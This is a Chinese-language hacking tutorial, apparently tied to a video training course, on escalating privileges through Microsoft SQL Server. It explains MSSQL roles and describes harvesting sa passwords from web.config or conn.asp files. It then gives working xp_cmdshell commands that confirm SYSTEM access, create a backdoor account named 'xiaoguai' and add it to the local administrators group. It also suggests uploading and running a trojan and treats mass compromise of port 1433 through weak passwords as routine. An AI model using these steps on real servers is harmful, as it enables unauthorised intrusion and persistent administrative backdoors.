本文档与视频动画同步讲解,如需视频动画参考培训事项(回复序列号2获取)
作者:小迪
QQ:471656814
微信公众号:xiaodisec
个人博客:http://www.xiaosedi.com
0x00 Sql Server简介
0x01 用户权限介绍
0x02 Sa用户提权
0x03 db_owner提权
0x00 Sql Server简介
SQL是英文Structured Query Language的缩写,意思为结构化查询语言。SQL语言的主要功能就是同各种数据库建立联系,进行沟通。按照ANSI(美国国家标准协会)的规定,SQL被作为关系型数据库管理系统的标准语言。
SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),它最初是由Microsoft、Sybase和Ashton-Tate三家公司共同开发的,并于1988年推出了第一个OS/2版本。Microsoft SQL Server近年来不断更新版本,1996年,Microsoft 推出了SQL Server 6.5版本;1998年,SQL Server 7.0版本和用户见面;SQL Server 2000是Microsoft公司于2000年推出,目前最新版本是2012年3月份推出的SQL SERVER 2012。
不知道大家以前或者现在有没有搞过端口抓鸡呢,1433端口,如果弄过的童鞋一定很熟悉这个端口,其实这个端口抓鸡的原理就是依靠SQL Server数据库的弱口令进行传马/执行cmd等一系列的入侵行为- -.其实sql server 也可以叫mssql相信这个大家会更熟悉一些.下面我们就来介绍Sql server 各个用户里的权限.
0x01 用户权限介绍
Sa 可以执行mssql数据库的所有操作
db_owner 执行所有数据库角色活动
public 维护所有默认权限
db_accessadmin 添加和删除数据库用户, 组及角色
db_ddladmin 添加、更改或删除数据库对象
db_security admin 分配语句执行和对象权限
db_backupoperator 备份数据库
db_datareader 读取任何表中的数据
db_datawriter 添加、更改或删除所有表中的数据
db_denydatareader 不能读取任何表中的数据
db_denydatawriter 不能更改任何表中的数据
在没降权的情况下,MSSQL的服务是以system权限运行的.注意这一点很重要,如果mssql服务是以users组或者guests组降权运行的话,会导致下面一系列的操作进行不了.
MSSQL的数据库帐户权限类似WINDWOS(这里是类似.不是等于),简单来说可以分为SA,DB_OWNER,PCUBLIC等,SA 类似WINDWOS中的管理员,DB_OWNER类似WINDOWS中的Power Users.
Power Users高级用户可以改变所有配置,执行所有程序,唯一就是不能把自己加进administrators组去.但mssql里的db_owner显然没windows的 Power Users那么可爱,他相对
来说没那么大的权限,他不能执行程序.db_owner能对mssql数据库进行任何操作.比如建一个表,或者建一个字段,删除那个表删除那个字段,包括修改插入,都是可以做到的.仅限于自己所管理的数据库之内,他只在自己所在的数据库之内,他就不能深入到系统里面,去执行系统的命令,当然他也不能执行程序.也就是说如果你的mssql账号dbowner权限的话,你想上传个木马运行那是不现实的,PCUBLIC相当于users用户,只能在指定的数据库内进行一些简单的操作,不能用于提权.
0x02 Sa权限提权
在讲sa权限提权前我们先说说这个提权的前提一些重要点,第一mssql的服务没有降权,是以默认服务继承的权限来运行的.第二那就是找到sa的用户密码(你这不是废话么.小心我楼下丢你鸡蛋和臭菜叶子! 哎哟.砸中枪了).
0.0 先说说一般我是咋找的吧,在网站的目录下一般情况下,你是有可读可写的权限。 你可以尝试找一下asp网站的话大概就conn.asp(一般都放在这文件名的文件里,不过asp类型的网站很少有用到mssql的,现在一般用asp的网站都是一些小型网站.access基本够了).如果是aspx类型的网站那就是web.config这个文件里了.一般数据库的数据库、账号、密码都是以明文保存的,当然也有一些不是以明文保存是以一些bin目录里的加密的base64的加密函数保存,或者是以hash加密保存下来的sa密码.这里不多做详细的解释.
hash加密的参考
http://it.anhuinews.com/network/442646/391737177179.shtml
Asp.net解密反编译
http://gov.com.im/art_design/2011/1113/asp-net%E8%A7%A3%E5%AF%86.html
现在,我们开始,sa提权之旅吧.

先扫描一遍端口,mssql开启的服务端口是1433..- -我这里是mssql2K不知道为啥.搭建的环境1433端口硬是没开..奇怪。 -0-我这里大概说一下.
接下来在网站的目录下找mssql连接的字符串
<add key="ConnectionString" value="server=(local);uid=sa;pwd=sa;database=Northwind" />
Local 本地ip
Uid=账号 sa
Pwd=密码 sa
Database=数据库 Northwind

server=localhost;UID=sa;PWD=sa;database=Northwind;Provider=SQLOLEDB
Server输入的是ip地址.
Uid就是mssql的账号pwd 就是mssql账号密码。这样看应该清晰了吧0.0
在go的旁边的菜单栏点击一下,选择mssql.再点击go.

登陆以后我们首先看看他是什么权限.
Exec master.dbo.xp_cmdshell 'whoami'
返回nt authority\system
太好了,没有降权-0-。System权限在基础篇上讲过,是windows理论上最高权限的用户.这可是比administrator还要高很多.由于mssql默认安装下是继承系统的权限神马的.所以他有了system这权限.
接下来我们执行创建账号密码的mssql语句吧

5
Exec master.dbo.xp_cmdshell 'net user xiaoguai www.h4x0er.com /add'
Exec master.dbo.xp_cmdshell 'net localgroup administrators xiaoguai /add'
添加账号xiaoguai 密码www.h4x0er.com
把xiaoguai添加到administrators这个用户组里(这里做个小提示,有些管理员为了恶心一下一些不咋懂用户组的小菜鸟,会把guests组改成administrators组来恶心人- -,最好就是先确定管理员所在的组,然后再把你的用户添加进那个组里面.)
Exec master.dbo.xp_cmdshell ' ' 在这''俩个单引号里面可以执行dos命令.是以system权限运行的.你可以把木马传上去,然后执行.提示执行成功了我们接着

本文档与视频动画同步讲解,如需视频动画参考培训事项(回复序列号2获取)
作者:小迪
QQ:471656814
微信公众号:xiaodisec
个人博客:http://www.xiaosedi.com




